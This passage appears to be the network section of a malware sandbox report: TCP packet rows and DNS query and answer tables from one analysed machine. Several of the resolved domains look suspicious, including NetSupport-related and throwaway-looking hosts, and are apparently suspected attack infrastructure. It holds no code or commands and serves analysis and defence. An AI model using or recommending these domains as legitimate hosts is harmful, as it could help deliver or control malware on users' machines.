Dec 6, 2023 14:33:22.612323046 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612358093 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612361908 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612396955 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612405062 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612459898 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612479925 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612498045 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612505913 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612535954 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612555027 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612571955 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612579107 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612617016 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612626076 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612658978 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612665892 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612698078 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612706900 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612747908 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612760067 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612797022 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612807035 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612838030 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612848997 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612876892 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612883091 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612914085 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612927914 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612951040 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612972975 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.612988949 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.612991095 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613025904 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613034010 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613064051 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613068104 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613101006 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613111973 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613137007 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613157988 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613193035 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613197088 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613229036 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613234997 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613256931 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613271952 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613279104 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613310099 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613317966 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613348007 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613356113 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613387108 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613392115 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613424063 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613430977 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613460064 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613468885 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613497972 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613503933 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613535881 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613543987 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613586903 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613595009 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613625050 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613627911 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613663912 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613668919 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613701105 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613709927 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613738060 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613743067 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613776922 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613782883 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613814116 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613822937 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613851070 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.613859892 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.613889933 CET	80	49730	159.223.29.40	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2023 14:33:00.202003956 CET	192.168.2.5	1.1.1.1	0x64f5	Standard query (0)	sparksteam.site	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:01.320431948 CET	192.168.2.5	1.1.1.1	0x4697	Standard query (0)	sidemark.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:07.133460999 CET	192.168.2.5	1.1.1.1	0xf9b6	Standard query (0)	false.apparelsilver.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:08.182564020 CET	192.168.2.5	1.1.1.1	0xed20	Standard query (0)	www.agenment.cloud	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:17.925205946 CET	192.168.2.5	1.1.1.1	0xd005	Standard query (0)	myptofgrtulo.info	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:18.073877096 CET	192.168.2.5	1.1.1.1	0x2f1	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.342009068 CET	192.168.2.5	1.1.1.1	0x8f32	Standard query (0)	axsboe-campaign.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.342268944 CET	192.168.2.5	1.1.1.1	0xddb9	Standard query (0)	axsboe-campaign.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:19.409605980 CET	192.168.2.5	1.1.1.1	0xd633	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.409925938 CET	192.168.2.5	1.1.1.1	0xfe16	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:19.410706997 CET	192.168.2.5	1.1.1.1	0x8112	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.410965919 CET	192.168.2.5	1.1.1.1	0x2862	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:19.717430115 CET	192.168.2.5	1.1.1.1	0x9ee6	Standard query (0)	send.planewool.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:21.023643017 CET	192.168.2.5	1.1.1.1	0xa195	Standard query (0)	kapetownlink.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:21.263468027 CET	192.168.2.5	1.1.1.1	0xe59d	Standard query (0)	aefd.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:21.263768911 CET	192.168.2.5	1.1.1.1	0xc620	Standard query (0)	aefd.nelreports.net	65	IN (0x0001)	false
Dec 6, 2023 14:33:23.748706102 CET	192.168.2.5	1.1.1.1	0x2cdd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:23.748893023 CET	192.168.2.5	1.1.1.1	0xe605	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:25.257385015 CET	192.168.2.5	1.1.1.1	0x474c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:25.257742882 CET	192.168.2.5	1.1.1.1	0x97d6	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:25.390867949 CET	192.168.2.5	1.1.1.1	0xfd3e	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:25.391132116 CET	192.168.2.5	1.1.1.1	0xdb2a	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:25.783134937 CET	192.168.2.5	1.1.1.1	0x2d65	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:25.783510923 CET	192.168.2.5	1.1.1.1	0x5da6	Standard query (0)	www.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:26.634099960 CET	192.168.2.5	1.1.1.1	0x25ca	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:26.634325027 CET	192.168.2.5	1.1.1.1	0xb637	Standard query (0)	www.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:31.426584959 CET	192.168.2.5	1.1.1.1	0x6c83	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:31.426903009 CET	192.168.2.5	1.1.1.1	0xe195	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:31.514034033 CET	192.168.2.5	1.1.1.1	0x1023	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:31.514341116 CET	192.168.2.5	1.1.1.1	0x538e	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:32.286326885 CET	192.168.2.5	1.1.1.1	0x6362	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:32.286545992 CET	192.168.2.5	1.1.1.1	0x5bdd	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:33.375530005 CET	192.168.2.5	1.1.1.1	0xe380	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:33.375886917 CET	192.168.2.5	1.1.1.1	0x9d76	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 6, 2023 14:33:37.974241972 CET	192.168.2.5	1.1.1.1	0xaa37	Standard query (0)	ecn.dev.virtualearth.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:37.974479914 CET	192.168.2.5	1.1.1.1	0x7d4	Standard query (0)	ecn.dev.virtualearth.net	65	IN (0x0001)	false
Dec 6, 2023 14:33:38.792800903 CET	192.168.2.5	1.1.1.1	0x8bb5	Standard query (0)	ecn.dev.virtualearth.net	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:38.793090105 CET	192.168.2.5	1.1.1.1	0xcdcf	Standard query (0)	ecn.dev.virtualearth.net	65	IN (0x0001)	false
Dec 6, 2023 14:33:41.230685949 CET	192.168.2.5	1.1.1.1	0xbc1	Standard query (0)	pstbbk.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:41.231300116 CET	192.168.2.5	1.1.1.1	0x8443	Standard query (0)	collect.installeranalytics.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:41.522186995 CET	192.168.2.5	1.1.1.1	0xac67	Standard query (0)	allroadslimit.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.000662088 CET	192.168.2.5	1.1.1.1	0x244f	Standard query (0)	231005002055611.bcn.lca62.shop	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.498950005 CET	192.168.2.5	1.1.1.1	0xd231	Standard query (0)	ambadevgroup.info	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.533335924 CET	192.168.2.5	1.1.1.1	0x5a7a	Standard query (0)	dl.likeasurfer.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:03.421499014 CET	192.168.2.5	1.1.1.1	0x6caa	Standard query (0)	111.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.097946882 CET	192.168.2.5	1.1.1.1	0x5072	Standard query (0)	114.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.624293089 CET	192.168.2.5	1.1.1.1	0x359d	Standard query (0)	113.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.767713070 CET	192.168.2.5	1.1.1.1	0xf59a	Standard query (0)	112.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.797346115 CET	192.168.2.5	1.1.1.1	0x10d8	Standard query (0)	110.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:08.534789085 CET	192.168.2.5	1.1.1.1	0x43d6	Standard query (0)	111.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.203743935 CET	192.168.2.5	1.1.1.1	0x1bc	Standard query (0)	114.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.730432034 CET	192.168.2.5	1.1.1.1	0x9721	Standard query (0)	113.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.873585939 CET	192.168.2.5	1.1.1.1	0xba0f	Standard query (0)	112.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.921086073 CET	192.168.2.5	1.1.1.1	0xa845	Standard query (0)	110.t.keepitpumpin.io	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.763995886 CET	192.168.2.5	1.1.1.1	0x890e	Standard query (0)	clients1.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:48.764190912 CET	192.168.2.5	1.1.1.1	0x32f0	Standard query (0)	clients1.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2023 14:33:00.460052967 CET	1.1.1.1	192.168.2.5	0x64f5	No error (0)	sparksteam.site		104.21.52.223	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:00.460052967 CET	1.1.1.1	192.168.2.5	0x64f5	No error (0)	sparksteam.site		172.67.204.180	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:01.425113916 CET	1.1.1.1	192.168.2.5	0x4697	No error (0)	sidemark.xyz		104.21.73.195	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:01.425113916 CET	1.1.1.1	192.168.2.5	0x4697	No error (0)	sidemark.xyz		172.67.165.204	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:07.234751940 CET	1.1.1.1	192.168.2.5	0xf9b6	No error (0)	false.apparelsilver.xyz		172.67.198.151	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:07.234751940 CET	1.1.1.1	192.168.2.5	0xf9b6	No error (0)	false.apparelsilver.xyz		104.21.13.66	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:08.319574118 CET	1.1.1.1	192.168.2.5	0xed20	No error (0)	www.agenment.cloud		185.23.108.224	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:18.096036911 CET	1.1.1.1	192.168.2.5	0xd005	No error (0)	myptofgrtulo.info		95.142.47.11	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:18.176599979 CET	1.1.1.1	192.168.2.5	0x2f1	No error (0)	geo.netsupportsoftware.com		51.142.119.24	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:18.176599979 CET	1.1.1.1	192.168.2.5	0x2f1	No error (0)	geo.netsupportsoftware.com		62.172.138.67	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:18.176599979 CET	1.1.1.1	192.168.2.5	0x2f1	No error (0)	geo.netsupportsoftware.com		62.172.138.8	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.499531031 CET	1.1.1.1	192.168.2.5	0xddb9	No error (0)	axsboe-campaign.com			65	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients.l.google.com		142.251.111.100	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients.l.google.com		142.251.111.138	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients.l.google.com		142.251.111.113	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients.l.google.com		142.251.111.101	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients.l.google.com		142.251.111.102	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.504555941 CET	1.1.1.1	192.168.2.5	0xd633	No error (0)	clients.l.google.com		142.251.111.139	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.505215883 CET	1.1.1.1	192.168.2.5	0xfe16	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:19.505743980 CET	1.1.1.1	192.168.2.5	0x8112	No error (0)	accounts.google.com		172.253.115.84	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.513467073 CET	1.1.1.1	192.168.2.5	0x8f32	No error (0)	axsboe-campaign.com		172.67.213.153	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.513467073 CET	1.1.1.1	192.168.2.5	0x8f32	No error (0)	axsboe-campaign.com		104.21.37.216	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.820151091 CET	1.1.1.1	192.168.2.5	0x9ee6	No error (0)	send.planewool.xyz		104.21.90.147	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:19.820151091 CET	1.1.1.1	192.168.2.5	0x9ee6	No error (0)	send.planewool.xyz		172.67.157.197	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:21.122421026 CET	1.1.1.1	192.168.2.5	0xa195	No error (0)	kapetownlink.com		159.223.29.40	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:21.358040094 CET	1.1.1.1	192.168.2.5	0xe59d	No error (0)	aefd.nelreports.net	aefd.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:21.358808041 CET	1.1.1.1	192.168.2.5	0xc620	No error (0)	aefd.nelreports.net	aefd.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:23.844010115 CET	1.1.1.1	192.168.2.5	0xe605	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 6, 2023 14:33:23.844444036 CET	1.1.1.1	192.168.2.5	0x2cdd	No error (0)	www.google.com		172.253.63.105	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:23.844444036 CET	1.1.1.1	192.168.2.5	0x2cdd	No error (0)	www.google.com		172.253.63.103	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:23.844444036 CET	1.1.1.1	192.168.2.5	0x2cdd	No error (0)	www.google.com		172.253.63.147	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:23.844444036 CET	1.1.1.1	192.168.2.5	0x2cdd	No error (0)	www.google.com		172.253.63.99	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:23.844444036 CET	1.1.1.1	192.168.2.5	0x2cdd	No error (0)	www.google.com		172.253.63.106	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:23.844444036 CET	1.1.1.1	192.168.2.5	0x2cdd	No error (0)	www.google.com		172.253.63.104	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:25.352593899 CET	1.1.1.1	192.168.2.5	0x97d6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:25.353029013 CET	1.1.1.1	192.168.2.5	0x474c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:25.485702991 CET	1.1.1.1	192.168.2.5	0xdb2a	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:25.485771894 CET	1.1.1.1	192.168.2.5	0xfd3e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:25.878160000 CET	1.1.1.1	192.168.2.5	0x2d65	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:25.878644943 CET	1.1.1.1	192.168.2.5	0x5da6	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:26.729237080 CET	1.1.1.1	192.168.2.5	0x25ca	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:26.729521036 CET	1.1.1.1	192.168.2.5	0xb637	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:27.071861982 CET	1.1.1.1	192.168.2.5	0x7af2	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:27.071861982 CET	1.1.1.1	192.168.2.5	0x7af2	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:27.071861982 CET	1.1.1.1	192.168.2.5	0x7af2	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:31.521747112 CET	1.1.1.1	192.168.2.5	0x6c83	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:31.522874117 CET	1.1.1.1	192.168.2.5	0xe195	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:31.609038115 CET	1.1.1.1	192.168.2.5	0x538e	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:31.609668970 CET	1.1.1.1	192.168.2.5	0x1023	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:32.381380081 CET	1.1.1.1	192.168.2.5	0x5bdd	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:32.381810904 CET	1.1.1.1	192.168.2.5	0x6362	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:33.470432043 CET	1.1.1.1	192.168.2.5	0xe380	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:33.471827030 CET	1.1.1.1	192.168.2.5	0x9d76	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:38.069410086 CET	1.1.1.1	192.168.2.5	0xaa37	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:38.069978952 CET	1.1.1.1	192.168.2.5	0x7d4	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:38.887682915 CET	1.1.1.1	192.168.2.5	0x8bb5	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:38.888761997 CET	1.1.1.1	192.168.2.5	0xcdcf	No error (0)	ecn.dev.virtualearth.net	ssl2.tiles.virtualearth.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2023 14:33:41.334212065 CET	1.1.1.1	192.168.2.5	0xbc1	No error (0)	pstbbk.com		157.230.96.32	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:41.350100040 CET	1.1.1.1	192.168.2.5	0x8443	No error (0)	collect.installeranalytics.com		54.165.38.232	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:41.350100040 CET	1.1.1.1	192.168.2.5	0x8443	No error (0)	collect.installeranalytics.com		54.165.145.62	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:41.680780888 CET	1.1.1.1	192.168.2.5	0xac67	No error (0)	allroadslimit.com		104.21.74.109	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:41.680780888 CET	1.1.1.1	192.168.2.5	0xac67	No error (0)	allroadslimit.com		172.67.157.111	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.486519098 CET	1.1.1.1	192.168.2.5	0x244f	Server failure (2)	231005002055611.bcn.lca62.shop	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.599749088 CET	1.1.1.1	192.168.2.5	0xd231	No error (0)	ambadevgroup.info		37.1.198.251	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.689573050 CET	1.1.1.1	192.168.2.5	0x5a7a	No error (0)	dl.likeasurfer.com		104.21.32.100	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:33:44.689573050 CET	1.1.1.1	192.168.2.5	0x5a7a	No error (0)	dl.likeasurfer.com		172.67.150.192	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:03.516784906 CET	1.1.1.1	192.168.2.5	0x6caa	Name error (3)	111.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.193536043 CET	1.1.1.1	192.168.2.5	0x5072	Name error (3)	114.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.248850107 CET	1.1.1.1	192.168.2.5	0x7bf0	Name error (3)	115.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.720877886 CET	1.1.1.1	192.168.2.5	0x359d	Name error (3)	113.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.863791943 CET	1.1.1.1	192.168.2.5	0xf59a	Name error (3)	112.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:04.911576033 CET	1.1.1.1	192.168.2.5	0x10d8	Name error (3)	110.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:08.630311012 CET	1.1.1.1	192.168.2.5	0x43d6	Name error (3)	111.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2023 14:34:09.300792933 CET	1.1.1.1	192.168.2.5	0x1bc	Name error (3)	114.t.keepitpumpin.io	none	none	A (IP address)	IN (0x0001)	false
